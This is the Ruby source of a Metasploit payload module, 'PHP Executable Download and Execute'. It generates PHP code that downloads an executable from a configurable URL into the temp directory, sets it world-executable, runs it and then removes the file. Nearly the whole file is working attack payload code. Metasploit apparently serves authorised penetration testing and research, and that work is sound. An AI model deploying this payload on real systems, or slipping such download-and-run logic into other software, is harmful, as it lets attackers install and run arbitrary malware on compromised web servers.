metasploit-framework/modules/payloads/singles/php/download_exec.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/php'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Php
include Msf::Payload::Single
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def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Executable Download and Execute',
'Description' => 'Download an EXE from an HTTP URL and execute it',
'Author' => [ 'egypt' ],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false
))
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# EXITFUNC is not supported :/
deregister_options('EXITFUNC')
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# Register command execution options
register_options(
[
OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])
])
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end
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def php_exec_file
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
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if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir() {
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
$tempfile=tempnam(uniqid(rand(),TRUE),'');
if (file_exists($tempfile)) {
@unlink($tempfile);
return realpath(dirname($tempfile));
}
return null;
}
}
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
$fd_in = fopen("#{datastore['URL']}", "rb");
if ($fd_in === false) { die(); }
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$fd_out = fopen($fname, "wb");
if ($fd_out === false) { die(); }
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while (!feof($fd_in)) {
fwrite($fd_out, fread($fd_in, 8192));
}
fclose($fd_in);
fclose($fd_out);
chmod($fname, 0777);
$c = $fname;
#{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
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@unlink($fname);
END_OF_PHP_CODE
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#return Rex::Text.compress(shell)
return shell
end
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#
# Constructs the payload
#
def generate
return php_exec_file
end
end